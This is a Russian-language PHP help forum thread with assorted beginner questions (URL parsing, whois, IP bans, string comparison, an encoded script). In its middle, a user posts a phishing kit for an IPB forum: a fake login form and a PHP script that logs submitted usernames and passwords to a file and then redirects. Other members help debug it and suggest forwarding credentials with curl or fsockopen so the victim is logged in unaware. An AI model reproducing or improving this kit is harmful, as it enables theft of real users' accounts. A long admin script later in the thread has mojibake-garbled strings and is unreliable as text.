не могу разобраться в чем дело, в 5 строке все правильно(((((((
Здрасте! Помогите плииз
Есть сайт где ссылка вида
http://sayt.ru/video3456/
Надо сделать форму ввода и кнопочку скачать
для скачки ссылка будет такая
http://sayt.ru/upload/video/3456.flv
тоесть берется номер видео http://sayt.ru/video3456/
и подставляется сюда http://sayt.ru/upload/video/3456.flv
Подскажите как накодить.
Vinsic, юзай функции explode() url_parse(), прочитай про эти функции
Vinsic, юзай функции explode() url_parse(), прочитай про эти функции
почитал, непонял нефига :( нужен простейший пример, и я не знаю как форма ввода делаеца и кнопочка, поэтому и прошу помощи :(
почитал, непонял нефига :( нужен простейший пример, и я не знаю как форма ввода делаеца и кнопочка, поэтому и прошу помощи :(
<form method="POST">
<input type="text" size="40" name="url"><br>
<input type="submit" value="Обработать">
</form>
<?
function preg_match_between($a_sStart, $a_sEnd, $a_sSubject)
{
$pattern = '/'. $a_sStart .'(.*?)'. $a_sEnd .'/';
preg_match ($pattern, $a_sSubject, $result);
$pattern = '/'. $a_sStart .'/';
$result = preg_replace ($pattern, '', $result[0]);
$pattern = '/'. $a_sEnd .'/';
$result = preg_replace ($pattern, '', $result);
return $result;
}
if($_POST && isset($_POST['url']) && !empty($_POST['url']))
{
$str = $_POST['url'];
$res = preg_match_between('video', '\/', $str);
echo $your_url = "http://sayt.ru/upload/video/".$res.".flv";
}
?>
пользуйся=)
Эм,а разве вот так пишуться переменные,даже в зхапросе? оО
'$date' ?
'".$date."'
m0Hze, такое нормально прокатывает, хоть и не очень удобно ИМХО.
geforse, а ты уверен что те if'ы что у тебя там есть прокатывают?
А то может быть как раз все и работает кроме того что в ифах заключено...
.:EnoT:., пишет типа НИЧЕГО НЕ НАЙДЕНО. т.е. к базе подключилось, а таблицы не находит?
Эм,а разве вот так пишуться переменные,даже в зхапросе? оО
'$date' ?
'".$date."'
прочитай про Интерполяцию переменных и конкатенацию строк, поймешь в чем прикол
geforse, а ты уверен что те if'ы что у тебя там есть прокатывают?
А то может быть как раз все и работает кроме того что в ифах заключено...
А как мне правильно написать ифы ? хотябы примерно как ?
Darkweider
10.02.2009, 18:30
Требуется сравнить два слова одинаковой длины и вывести 1 если слова отличаются на одну букву. Написал вот кое-что, но блин с одинаковыми буквами не прокатывает.Если в одном из слов одинаковые буквы то все к чертям идет. Мож кто знает как еще можно? вот код
function wordlater($word_start,$word){
//записываем буквы из предыдущего слова в массив
$lett='абвгдеёжзийклмнопрсту хцчшщъыьэюя';
$n=strlen($word_start);
$nn=strlen($lett);
for($i=0;$i<$n;$i++){
for($k=0;$k<$nn;$k++){
if($word_start[$i]==$lett[$k]){
//проверяем была ли уже записана буква в массив букв встречающихся в слове
if(strpos($inword,$word_start[$i])===false){
$inword.=$word_start[$i];
}
}
}
}
$le=strlen($inword);
//теперь проверяем различия
for($i=0;$i<$le;$i++){
for($j=0;$j<$n;$j++){
if($word[$j]==$inword[$i]){
$outword.=$word[$j];
}
}
}
//типо если отличается на 1 по возвращаем 1
$le=strlen($outword);
if($le==($n-1)){
return 1;
}else{
return 0;
}
}
}
Вопрос такой имеется,
как сделать whios по домену у меня есть whios по ip , но я чтот недодумаюсь всё никак сделать по домену...
<?
if (!isset($_POST['submit']))
{
?>
<html>
<head>
<title>Информация о IP</title>
</head>
<body>
<center>
<H4>Информация об IP-адресе</H4>
<FORM action=index.php method=post>
<INPUT type=text name=ip size=35>
<input type=submit name = submit value = 'Проверить'>
</form>
</center>
<cente>
<?
}
else
{
if ($_POST['ip']!= "")
{
$sock = fsockopen ("whois.ripe.net",43,$errno,$errstr);
if (!$sock) {
echo("$errno($errstr)");
return;
}
else {
fputs ($sock, $_POST['ip']."\r\n");
while (!feof($sock)) {
echo (str_replace(":",": ",fgets ($sock,128))."<br>");
}
}
fclose ($sock);
}
}
?>
А в чем разница,посылай домен,хуис сам разбиреца.
неа, када домен ввожу пишет это ...
% This is the RIPE Whois query server #2.
% The objects are in RPSL format.
%
% Rights restricted by copyright.
% See http: //www.ripe.net/db/copyright.html
%ERROR: 101: no entries found
%
% No entries found in the selected source(s).
Pashkela
10.02.2009, 19:36
Требуется сравнить два слова одинаковой длины и вывести 1 если слова отличаются на одну букву. Написал вот кое-что, но блин с одинаковыми буквами не прокатывает.Если в одном из слов одинаковые буквы то все к чертям идет. Мож кто знает как еще можно?
<?php
$a="222";
$b="222";
ascii($a,$b);
function ascii($c,$d) {
$hex = '';
While ($s<=2) {
$s++;
if ($s==1) $ascii=$c;
else $ascii=$d;
for ($i = 0; $i < strlen($ascii); $i++) {
$byte = strtoupper(dechex(ord($ascii{$i})));
$byte = str_repeat('0', 2 - strlen($byte)).$byte;
$byte = hexdec($byte);
if ($s==1)$bufer[$i]=$byte;
else $bufer1[$i]=$byte;
}
}
if ($bufer==$bufer1) echo "0";
else echo "1";
}
?>
Darkweider
$a='1233';
$b='1232';
function cmp($a,$b)
{
if (strlen($a)==strlen($b))
if (strlen(str_replace("\0",'',$a ^ $b))===1) return 1;
return 0;
}
echo cmp($a,$b);
Если ровно одно отличие - то так. Функция правда вернет ноль если буквы будут просто перепутаны. Если это важно - то просто предварительно сортируем строки и прогоняем через эту функцию
.:EnoT:., да вроде все есть в бд, блин че мне делать с этим mysql_fetch_array?
.:EnoT:. - огромное спасибо =)
Стандартная форма перехвата паролей...
Которая не работает.
Пассы сохраняет, но не переносит на сайт.
Тоько редирект, и пууум. Пожалуйста,повторно введите пароль :(
Делаю для IPB 2.3.5
<?PHP
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";
?>
Когда убираю
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";
им захожу на test.php, выскакивает ошибка:
Notice: Undefined index: UserName in /srv/www/htdocs/forum/test.php on line 2 Notice: Undefined index: PassWord in /srv/www/htdocs/forum/test.php on line 3
Он не понимает переменных? Или что-то другое?
Pashkela
10.02.2009, 23:08
в html нету echo, покрути тему назад децл, тут куча таких примеров
Pashkela, ты не поверишь, я знаю, что echo в html нет.
Это все таки, не язык программирования.
В скрипте опечатался, исправил, на всякий случай удалил echo...
И толку-то?
Pashkela
10.02.2009, 23:23
Чо толку-то? Чо за недописанный кусок кода ты выложил? Где сама ФОРМА для ввода пароля и логина? Телепатить надо что ли?
Предлагаю не телепатить.
Пароли сохраняет.
Редирект производит.
Авторизация на настоящем форуме отсутствует.
Код авторизации html
<form action="http://127.0.0.1/forum/test.php" method="post" name="LOGIN" onsubmit="return ValidateForm()">
<div class="borderwrap">
<div class="maintitle"><img src='style_images/1/nav_m.gif' border='0' alt='>' width='8' height='8' /> Log In</div>
<div class='row2'>
<div class="formsubtitle">Please enter your details below to log in</div>
<div class="errorwrap" style='margin-bottom:0px;padding-bottom:0px'>
<h4>Attention!</h4>
<p>You must already have registered for an account before you can log in.<br />If you do not have an account, you may register by clicking the 'register' link near the top of the screen</p>
<p><b>I've forgotten my password! <a href="http://127.0.0.1/forum/index.php?act=Reg&CODE=10">Click here!</a></b></p>
</div>
</div>
<table class='ipbtable' cellspacing="0">
<tr>
<td width="60%" valign="top" class='row2'>
<fieldset>
<legend><b>Log In</b></legend>
<table class='ipbtable' cellspacing="1">
<tr>
<td width="50%"><b>Enter your user name</b></td>
<td width="50%"><input type="text" size="25" maxlength="64" name="UserName" /></td>
</tr>
<tr>
<td width="50%"><b>Enter your password</b></td>
<td width="50%"><input type="password" size="25" name="PassWord" /></td>
</tr>
</table>
</fieldset>
</td>
<td width="40%" valign="top" class='row2'>
<fieldset>
<legend><b>Options</b></legend>
<table class='ipbtable' cellspacing="1">
<tr>
<td width="10%"><input class='checkbox' type="checkbox" name="CookieDate" value="1" checked="checked" /></td>
<td width="90%"><b>Remember me?</b><br /><span class="desc">This is not recommended for shared computers</span></td>
</tr>
<tr>
<td width="10%"><input class='checkbox' type="checkbox" name="Privacy" value="1" /></td>
<td width="90%"><b>Log in as invisible</b><br /><span class="desc">Don't add me to the active users list</span></td>
</tr>
</table>
</fieldset>
</td>
</tr>
<tr>
<td class="formbuttonrow" colspan="2"><input class="button" type="submit" name="submit" value="Log me in" /></td>
</tr>
<tr>
<td class="catend" colspan="2"><!-- no content --></td>
</tr>
</table>
</div>
</form><!--TASK--><img src='http://127.0.0.1/upload/index.php?act=task' border='0' height='1' width='1' alt='' />
Код сохранения паролей
<?PHP
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
?>
<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://127.0.0.1/forum/index.php?act=Login&CODE=01'></head></html>
kevmen
Может,
header("Location: http://127.0.0.1/forum/index.php?act=Login&CODE=01");
Так тоже пробовал.
mailbrush
10.02.2009, 23:38
Ershik, он не находит переменных.
<?PHP
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";}
?>
Ошибка исчезла, но авторизация не происходит.
Думаю, есть еще какая-то проблема с переменными.
Хотя если в исходнике посмотреть, все абсолютно верно.
Ershik, он не находит переменных.
<?PHP
if (isset($_POST['UserName']) and isset($_POST['PassWord'])) { // проверка на существование переменных
$Login = $_POST['UserName'];
$Pass = $_POST['PassWord'];
$log = fopen("base.php","a+");
fwrite($log,"\n$Login:$Pass \n");
fclose($log);
echo "<html><head><META HTTP-EQUIV='Refresh' content ='0; URL=http://site.ru/forum/index.php?act=Login&CODE=01'></head></html>";}
?>
Переменные будут существовать в любом случае,раз они заданы
mailbrush
10.02.2009, 23:58
раз они заданы
Если в поле логина и пасса написать что-то и отсабмитить - переменные будут заданы, а если ты просто зашел на сайт, они пустые, т.к. там ничего не написано.
авторизация не происходит.
Конечно не происходит, т.к. у тебя экшн идёт на страницу с записью логина и пасса, а уже потом с пустыми переменными переходит на страницу логина. Юзай fsockopen или curl
Pashkela
11.02.2009, 00:00
вот вы мутите, а не проще весь код (включая логирование паролей) в один код внести? Нафига тут вообще form action???
они пустые, т.к. там ничего не написано.
если отправить путсые данные и в этом случае они будут заданы
mailbrush
11.02.2009, 00:04
если отправить путсые данные и в этом случае они будут заданы
Я не говорил что отправить, я говорил что если тупо зайти на сайт. Ошибка возникала потому что переменные не заданы. Если отсабмитить, они будут заданы
Я не говорил что отправить, я говорил что если тупо зайти на сайт. Ошибка возникала потому что переменные не заданы. Если отсабмитить, они будут заданы
Что тупить,не прощели использовать empty?
Всем привет!
Есть строка вида:
слово1,слово2,слово3
Как заполнить массив этими словами?
Помнится что в php есть специальная функция - какая именно запамятовал :(
Заранее благодарен!
Explode() кажется эта функция
Да, именно эта функция тебе и нужна, первый аргумент функции это разделитель у тебя "," значит будет что то типа этого - $array = explode(",",$string);
<form method="POST">
<input type="text" size="40" name="url"><br>
<input type="submit" value="Обработать">
</form>
<?
function preg_match_between($a_sStart, $a_sEnd, $a_sSubject)
{
$pattern = '/'. $a_sStart .'(.*?)'. $a_sEnd .'/';
preg_match ($pattern, $a_sSubject, $result);
$pattern = '/'. $a_sStart .'/';
$result = preg_replace ($pattern, '', $result[0]);
$pattern = '/'. $a_sEnd .'/';
$result = preg_replace ($pattern, '', $result);
return $result;
}
if($_POST && isset($_POST['url']) && !empty($_POST['url']))
{
$str = $_POST['url'];
$res = preg_match_between('video', '\/', $str);
echo $your_url = "http://video.sayt.ru/upload/video/".$res.".flv";
}
?>
пользуйся=)
спасибо =) Ток есть маленькая проблемка =)
У сайта с которого выпремляется ссылка в домене есть слово video =(
и вот эта часть кода
$res = preg_match_between('video', '\/', $str);
обрабатывает первое слово видео =(
И ссылка получается http://video.sayt.ru/upload/video/.sayt.ru.flv
Кто может подсказать как это исправить? :confused:
Из легкого могу посоветовать во всех скриптах изменить video на что нить другое, ведь ты домен не будешь менять:)
Корвин А можно узнать смысл второй и третьей регулярки в вашей функции? Заменяем их на return $result[1]; и каг бе все.
Vinsik <form method="POST">
<input type="text" size="40" name="url"><br>
<input type="submit" value="Обработать">
</form>
<?
if($_POST && isset($_POST['url']) && !empty($_POST['url']))
{
$str = $_POST['url'];
preg_match('~/video(\d+)/~i', $str, $out);
echo $your_url = "http://video.sayt.ru/upload/video/".$out[1].".flv";
}
?>
или <form method="POST">
<input type="text" size="40" name="url"><br>
<input type="submit" value="Обработать">
</form>
<?
if($_POST && isset($_POST['url']) && !empty($_POST['url']))
{
$str = $_POST['url'];
$res=str_replace(array('/video','/'),'',strstr($str,'/video'));
echo $your_url = "http://video.sayt.ru/upload/video/".$res.".flv";
}
?>
Эх.... спрашиваю ещё раз...
Ктонибудь может ответить возможно ли расшифровать, зашифрованную PHP
<?php /*This encoded file was generated using PHPCoder (http://phpcoder.sourceforge.net/) and eAccelerator (http://eaccelerator.sourceforge.net/)*/
if (!is_callable("eaccelerator_load") && !@dl("eAccelerator.so"))
{ die("This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install <a href=\"http://eaccelerator.sourceforge.net/\">eAccelerator or the eLoader</a>"); }
eaccelerator_load('eJxdUsFOwkAQndldQeqqV7+Akx/ggUAK4WYigp5NoS0QqSVlG/18d2an0NIw28y+N483D+bxbDZ/nS/jj7clGABAde/PTeKSY31wu6QqQNnrG+L56vvKk40rK7lQvu58nTL3JYBqN5omw UJ4Vjf8Qk2ja5xIe40UDULqi15n5pZaNNI/d9ACXxhVHl/1eB41reh2+xN+BqpC3TtvMWQW+s+4L04AHnxt/Qrren9I0yzPvU63N8x7arYaiAcyfXLJNsPJ4LxZHPljJHbpWES MtJwto8BuO5vyGCcwiiQK+g6ymf0dD2WavbOQokGOsNENIt9eB Id0pxGNYjIwGdpk8Vy5wKVs1cJKdi0lY0PugkIXnVp2y+s18CU NQXkXK7uQPP05juWvtuF3MSpmomIdZmJLqyrrn3RMt0aCV/IWGsD4EZo06PkHUtdO3g=='); ?>
Sindicat
11.02.2009, 14:27
как вообще можна забанить по айпи на время ? например 15 минут. Я знаю как можна вычеслить айпи, а вот как сделать чтобы именно эго после 15 минут разбанило не знаю.
Здравствуйте люди добрые, хотелось бы узнать как исправить
Fatal error: Call to a member function getName() on a non-object in
Sindicat
11.02.2009, 16:38
if(!$переменная == 'true') {
exit('Выход');
}
Доброго времени суток)
Есть два файла с мылами(1.тхт,2.тхт)И в них в основном разные мыла,но есть допустим 14 мыл которые есть и в 1 и во 2 файле.Как сделать так чтоб скрипт "сравнил" эти 2 файла и те мыла кторые есть и в 1 и во втором файле удалил из второго файла?
Byrger, тебе же в скрипте написано что мол
This PHP script has been encoded using the excellent eAccelerator Optimizer, to run it you must install <a href=\"http://eaccelerator.sourceforge.net/\">eAccelerator or the eLoader</a>
попробуй туда сходить, скачать прогу эту.
Sindicat, знач берешь его айпишник, и вписываешь в БД. так же туда же пишешь время когда чел был забанен. Потом в каком нибудь скрипте который например запускаеться с помощью cron'a каждые 5 мин. делать проверку. если 15 мин прошло то удалять чела из БД и соответственно уже не банить.
Маркиза, телепатов нет. что за скрипт. что за код. и проч... подробнее.
Gaus, есть скрипт который два таких файла склеивает в один и там уже убирает повторки. если надо пиши в ПМ. скину тебе.
<?php
if (!defined('IN_ADMIN')) {
die();
}
require_once(dirname(__FILE__) . '/base/Constants.php');
require_once(dirname(__FILE__) . '/base/Template.php');
require_once(dirname(__FILE__) . '/base/TemplateCache.php');
$action = $_GET['action'];
$globalTemplate = new Template('index');
$output = '';
switch ($action) {
/**
* ----------------------
*
* hf,jnf c ajnjuhfabzvb
*
* ----------------------
*/
case 'add_pics':
case 'edit_pic':
$workId = intval($_GET['work']);
$id = intval($_GET['id']);
require_once(dirname(__FILE__) . '/objects/Work.php');
$work = Work::getById($workId);
if (!$work) {
$output .= <<<EOF
<h1>Работы с указанным идентификатРром не существует.</h1>
EOF;
break;
}
require_once(dirname(__FILE__) . '/objects/Picture.php');
if ($id == 0
&& isset($_POST['id'])
) {
$id = intval($_POST['id']);
}
if ($id > 0) {
$pic = Picture::getById($id);
$title = 'Редактировани µ';
} else {
$pic = Picture::create();
$title = 'Р‛обавление РЅРѕРІРѕРіРѕ';
}
if (!isset($_POST['do'])) {
$output .= <<<EOF
<h1>{$title} изображения в работу [{$work->getName()}]</h1>
EOF;
if ($id > 0) {
$output .= <<<EOF
<form method="post" action="?action={$action}&work={$work->getId()}">
<img src="../{$pic->getWebPictureThumbnail()}" />
EOF;
} else {
$output .= <<<EOF
<form enctype="multipart/form-data" method="post" action="?action={$action}&work={$work->getId()}">
<label for="image">Файл фотографии:</label>
<input type="file" name="image" id="image" />
EOF;
}
$output .= <<<EOF
<br />
<br />
<label for="description">Описание:</label>
<input type="text" name="description" id="description" value="{$pic->getDescription()}" />
<input type="hidden" name="id" value="{$pic->getId()}" />
<input type="hidden" name="work" value="{$work->getId()}" />
<input type="hidden" name="do" value="do" />
<br />
<br />
<input type="submit" value="готово" />
</form>
EOF;
} else {
$pic->setWork($work->getId());
if (isset($_FILES['image'])) {
require_once(dirname(__FILE__) . '/objects/Group.php');
$group = Group::getById($work->getId());
$result = DB::selectQuery('SELECT COUNT(*) as pcount FROM w_pictures WHERE work_id = ' . $work->getId());
$row = $result->fetchRow();
$num = $row['pcount'];
$pic->setPhotoFromForm($_FILES['image'], $group->getName() . ' ' . $work->getName() . ' ' . $num++);
}
$description = htmlentities($_POST['description'], ENT_QUOTES, 'utf-8');
$pic->setDescription($description);
if ($pic->save()) {
TemplateCache::drop(Constants::CACHE_WORK . $work->getId());
TemplateCache::drop(Constants::CACHE_PICTURE . $pic->getId());
$output .= <<<EOF
<h1>{$title} изображения РІ работу [{$work->getName()}] СѓСЃРїРµС?РЅРѕ заверС?ено</h1>
<p>Вернуться в <a href="?action=pictures&work={$work->getId()}">список фотографий</a>.</p>
EOF;
}
}
break;
case 'del_pic':
$id = intval($_GET['id']);
$workId = intval($_GET['work']);
require_once(dirname(__FILE__) . '/objects/Picture.php');
$pic = Picture::getById($id);
if (!$pic) {
$output .= <<<EOF
<h1>Р?зображения СЃ таким идентификатРром РЅРµ существует.</h1>
EOF;
break;
}
if ($pic->delete()) {
TemplateCache::drop(Constants::CACHE_WORK . $workId);
TemplateCache::drop(Constants::CACHE_PICTURE . $pic->getId());
$output .= <<<EOF
<h1>Р?зображение СѓСЃРїРµС?РЅРѕ удалено.</h1>
<p>Вернуться в <a href="?action=pictures&work={$workId}">список фотографий работы</a>.</p>
EOF;
}
break;
case 'pictures':
$groupId = intval($_GET['group']);
$workId = intval($_GET['work']);
require_once(dirname(__FILE__) . '/objects/Work.php');
$work = Work::getById($workId);
if (!$work) {
$output .= <<<EOF
<h1>Работы с указанным идентификатРром нет.</h1>
<p>Вернуться в <a href="?action=works&group={$groupId}">список работ группы</a>.</p>
EOF;
break;
}
$output .= <<<EOF
<h1>Список фотографий для работы [{$work->getName()}]</h1>
<hr />
EOF;
require_once(dirname(__FILE__) . '/objects/Picture.php');
require_once(dirname(__FILE__) . '/base/DBCollection.php');
$pics = new DBCollection(Picture::create(), 'WHERE work_id = ' . $workId);
foreach($pics->getList() as $pic) {
$output .= <<<EOF
<p>
<a href="?action=edit_pic&id={$pic->getId()}&work={$workId}" title="редактироват ь"> v </a>
<a href="?action=del_pic&id={$pic->getId()}&work={$workId}" title="удалить" onclick="return confirm('Точно?');"> x </a>
|
<img src="../{$pic->getWebPictureThumbnail()}" />
</p>
EOF;
}
if ($pics->getCount() == 0) {
$output .= <<<EOF
<p>Пока пусто</p>
EOF;
}
$output .= <<<EOF
<hr />
<p>
<a href="?action=add_pics&work={$workId}">Р‛обавить</a> |
<a href="?action=works&group={$groupId}">Вернуться в список работ</a>
</p>
EOF;
break;
/**
* ----------------------
*
* РАБОТА РЎ РАБОТАМР?
*
* ----------------------
*/
case 'del_work':
$id = intval($_GET['id']);
$groupId = intval($_GET['group']);
require_once(dirname(__FILE__) . '/objects/Picture.php');
require_once(dirname(__FILE__) . '/base/DBCollection.php');
$pics = new DBCollection(Picture::create(), 'WHERE work_id = ' . $id);
if ($pics->getCount() > 0) {
$output .= <<<EOF
<h1>В работе существуют фотографии. Сначала удалите их.</h1>
EOF;
} else {
require_once(dirname(__FILE__) . '/objects/Work.php');
$work = Work::getById($id);
if (!$work) {
$output .= <<<EOF
<h1>Работы с указанным идентификатРром не существует.</h1>
EOF;
} else {
if ($work->delete()) {
TemplateCache::drop(Constants::CACHE_WORK . $work->getId());
TemplateCache::drop(Constants::CACHE_INDEX);
$output .= <<<EOF
<h1>Работа [{$work->getName()}] СѓСЃРїРµС?РЅРѕ удалена.</h1>
<p>Вернуться в <a href="?action=works&group={$groupId}">список работ группы</a>.</p>
EOF;
}
}
}
break;
case 'add_work':
case 'edit_work':
$id = intval($_GET['id']);
$group_id = intval($_GET['group']);
require_once(dirname(__FILE__) . '/objects/Group.php');
$group = Group::getById($group_id);
if (!$group) {
$output .= <<<EOF
<h1>Р‛СЂСѓРїРїС‹ СЃ указанным идентификатРром РЅРµ существует.</h1>
<p>Вернуться в <a href="index.php">список групп</a>.</p>
EOF;
break;
}
if ($id == 0
&& isset($_POST['id'])
) {
$id = intval($_POST['id']);
}
require_once(dirname(__FILE__) . '/objects/Work.php');
if ($id > 0) {
$work = Work::getById($id);
$title = 'Редактировани µ';
} else {
$work = Work::create();
$title = 'Р‛обавление РЅРѕРІРѕР№';
}
if (!isset($_POST['do'])) {
$output .= <<<EOF
<h1>{$title} работы (группа [{$group->getName()}])</h1>
<form method="post" action="?action=edit_work&group={$group->getId()}">
<label for="name">Название:</label>
<input type="text" name="name" id="name" size="50" value="{$work->getName()}" />
<br />
<label for="link">Ссылка:</label>
<input type="text" name="link" id="link" size="60" value="{$work->getLink()}" />
<br />
<label for="description">Описание:</label>
<textarea id="description" name="description" cols="70" rows="5">{$work->getDescription()}</textarea>
<input type="hidden" name="id" value="{$work->getId()}" />
<input type="hidden" name="do" value="do" />
<br />
<br />
<input type="submit" value="готово" />
</form>
EOF;
} else {
$name = htmlentities($_POST['name'], ENT_QUOTES, 'utf-8');
$description = htmlentities($_POST['description'], ENT_QUOTES, 'utf-8');
$link = $_POST['link'];
$work->setName($name);
if (!$work->getDate()) {
$work->setDate(time());
}
$work->setLink($link);
$work->setDescription($description);
$work->setGroup($group->getId());
if ($work->save()) {
TemplateCache::drop(Constants::CACHE_INDEX);
TemplateCache::drop(Constants::CACHE_WORK . $group->getId());
$output .= <<<EOF
<h1>{$title} работы [{$work->getName()}] РІ РіСЂСѓРїРїРµ [{$group->getName()}] СѓСЃРїРµС?РЅРѕ заверС?ено</h1>
<p>Вернуться в <a href="?action=works&group={$group->getId()}">список работ группы</a>.</p>
EOF;
}
}
break;
case 'works':
$groupId = intval($_GET['group']);
require_once(dirname(__FILE__) . '/objects/Group.php');
$group = Group::getById($groupId);
if (!$group) {
$output .= <<<EOF
<h1>Р‛СЂСѓРїРїС‹ СЃ указанным идентификатРром нет.</h1>
<p>Вернуться в <a href="index.php">список групп</a>.</p>
EOF;
break;
}
$output .= <<<EOF
<h1>Список работ в группе [{$group->getName()}]</h1>
<hr />
EOF;
require_once(dirname(__FILE__) . '/objects/Work.php');
require_once(dirname(__FILE__) . '/base/DBCollection.php');
$works = new DBCollection(Work::create(), 'WHERE group_id = ' . $groupId);
foreach($works->getList() as $work) {
$output .= <<<EOF
<p>
<a href="?action=edit_work&id={$work->getId()}&group={$group->getId()}" title="редактироват ь"> v </a>
<a href="?action=del_work&id={$work->getId()}&group={$group->getId()}" title="удалить" onclick="return confirm('Точно?');"> x </a>
|
<a href="?action=pictures&work={$work->getId()}&group={$group->getId()}">{$work->getName()}</a>
</p>
EOF;
}
if ($works->getCount() == 0) {
$output .= <<<EOF
<p>Пока пусто</p>
EOF;
}
$output .= <<<EOF
<hr />
<p>
<a href="?action=add_work&group={$group->getId()}">Р‛обавить</a> |
<a href="index.php">Вернуться в список групп</a>
</p>
EOF;
break;
/**
* ----------------------
*
* РАБОТА РЎ Р‛Р РЈРџРџРђРњР?
*
* ----------------------
*/
case 'del_group':
$id = intval($_GET['id']);
require_once(dirname(__FILE__) . '/objects/Work.php');
require_once(dirname(__FILE__) . '/base/DBCollection.php');
$works = new DBCollection(Work::create(), 'WHERE group_id = ' . $id);
if ($works->getCount() > 0) {
$output .= <<<EOF
<h1>В группе существуют работы. Сначала удалите их.</h1>
EOF;
} else {
require_once(dirname(__FILE__) . '/objects/Group.php');
$group = Group::getById($id);
if (!$group) {
$output .= <<<EOF
<h1>Р‛СЂСѓРїРїС‹ СЃ указанным идентификатРром РЅРµ существует.</h1>
EOF;
} else {
if ($group->delete()) {
TemplateCache::drop(Constants::CACHE_INDEX);
$output .= <<<EOF
<h1>Р‛СЂСѓРїРїР° [{$group->getName()}] СѓСЃРїРµС?РЅРѕ удалена.</h1>
<p>Вернуться в <a href="index.php">список групп</a>.</p>
EOF;
}
}
}
break;
case 'add_group':
case 'edit_group':
$id = intval($_GET['id']);
if ($id == 0
&& isset($_POST['id'])
) {
$id = intval($_POST['id']);
}
require_once(dirname(__FILE__) . '/objects/Group.php');
if ($id > 0) {
$group = Group::getById($id);
$title = 'Редактировани µ';
} else {
$group = Group::create();
$title = 'Р‛обавление РЅРѕРІРѕР№';
}
if (!isset($_POST['do'])) {
$output .= <<<EOF
<h1>{$title} РіСЂСѓРїРїС‹</h1>
<form method="post" action="?action=edit_group">
<label for="name">Название:</label>
<input type="text" name="name" id="name" value="{$group->getName()}" /><br />
<label for="year">Р‛ата:</label>
<input type="text" name="day" id="day" size="2" value="{$group->getDay()}" />.<input type="text" name="month" id="month" size="2" value="{$group->getMonth()}" />.<input type="text" name="year" id="year" size="4" value="{$group->getYear()}" />
<input type="hidden" name="id" value="{$group->getId()}" />
<input type="hidden" name="do" value="do" />
<br />
<br />
<input type="submit" value="готово" />
</form>
EOF;
} else {
$name = htmlentities($_POST['name'], ENT_QUOTES, 'utf-8');
$group->setName($name);
$group->setYear(intval($_POST['year']));
$group->setMonth(intval($_POST['month']));
$group->setDay(intval($_POST['day']));
if ($group->save()) {
TemplateCache::drop(Constants::CACHE_INDEX);
$output .= <<<EOF
<h1>{$title} РіСЂСѓРїРїС‹ [{$group->getName()}] СѓСЃРїРµС?РЅРѕ заверС?ено</h1>
<p>Вернуться в <a href="index.php">список групп</a>.</p>
EOF;
}
}
break;
default:
require_once(dirname(__FILE__) . '/objects/Group.php');
require_once(dirname(__FILE__) . '/base/DBCollection.php');
$groups = new DBCollection(Group::create());
$output .= <<<EOF
<h1>РЎРїРёСЃРѕРє РіСЂСѓРїРї</h1>
<hr />
EOF;
while ($group = $groups->shift()) {
$output .= <<<EOF
<p>
<a href="?action=edit_group&id={$group->getId()}" title="редактироват ь"> v </a>
<a href="?action=del_group&id={$group->getId()}" title="удалить" onclick="return confirm('Точно?');"> x </a>
|
<a href="?action=works&group={$group->getId()}">{$group->getName()}</a>
</p>
EOF;
}
$output .= <<<EOF
<hr />
<p>
<a href="?action=add_group">Р‛обавить</a>
</p>
EOF;
break;
}
какую. функцию надо использовать чтобы вычислить IP интеренет ресурса ? ну например вводишь сайт в строку, а оно тебе показывает ип...
Поможет кто?
У меня вот ещё какой есть вопрос....
Узер отправляет запрос по которому в БД заносятся поля...1 из которых Time (сделанное функцией time())
Как сделать так чтоб через 60секунд после создание в БД записи, включился PHP скрипт который долее выполнит нужную работу?
Только вот проблема....я бы понимаю юзер нажал на кнопку и пошло проверка на то, что прошло ли 60 сек.... А тут как-то надо вызвать без вмешательства пользователя.
blaga, ты наверно несовсем понял что я хочу)
Sindicat
11.02.2009, 17:49
blaga, спасибо, только не все понятно как делается,
вычеслил айпи
function ip() {
if(getenv("HTTP_CLIENT_IP") and preg_match("/^[0-9\.]*?[0-9\.]+$/is",getenv("HTTP_CLIENT_IP")) and getenv("HTTP_CLIENT_IP")!='127.0.0.1') {
$ip = getenv("HTTP_CLIENT_IP");
} elseif(getenv("HTTP_X_FORWARDED_FOR") and preg_match("/^[0-9\.]*?[0-9\.]+$/is",getenv("HTTP_X_FORWARDED_FOR")) and getenv("HTTP_X_FORWARDED_FOR")!='127.0.0.1') {
$ip = getenv("HTTP_X_FORWARDED_FOR");
} else {
$ip = getenv("REMOTE_ADDR");
}
return $ip;
}
$add_ip=ip();
занес эго в базу
$date = date("mdHis");
$link = mysql_connect("localhost","root","root");
$db = @mysql_select_db("antidos",$link);
if(!$link or !$db) die ('Ошибка поключения');
$ban = mysql_query("insert into black (ip,date) values ('$ad_ip','$date')");
а как теперь сверить текущие время и которое в базе ?
маркиза
а что тегом [php] не учили в детстве пользоваться?
а по сути хз на что он там ругаеться где то там на ООП ругаеться.
Учили, просто не могла вставить как не пыталась.Сорьки.
Значит не знаете на что ругаеться?
Carbon1, WHOIS. насколько я знаю функции такой вроде нету. или просто я не встречал. а вообще отправляешь куда нить через сокеты например запрос, а потом парсишь ответ.
Byrger, есть такая функция sleep(60) поставьте ее после того как данные добавляються в БД. а после этой строки пишите то что нужно будет сделать. Так скрипт выолнит запрос к БД, заснет на 60 сек и потом продолжит работу с тем что у вас там нужно.
Gaus, я понял но у меня нет такого скрипта которогы ты хочешь. только тот о котором я написал.
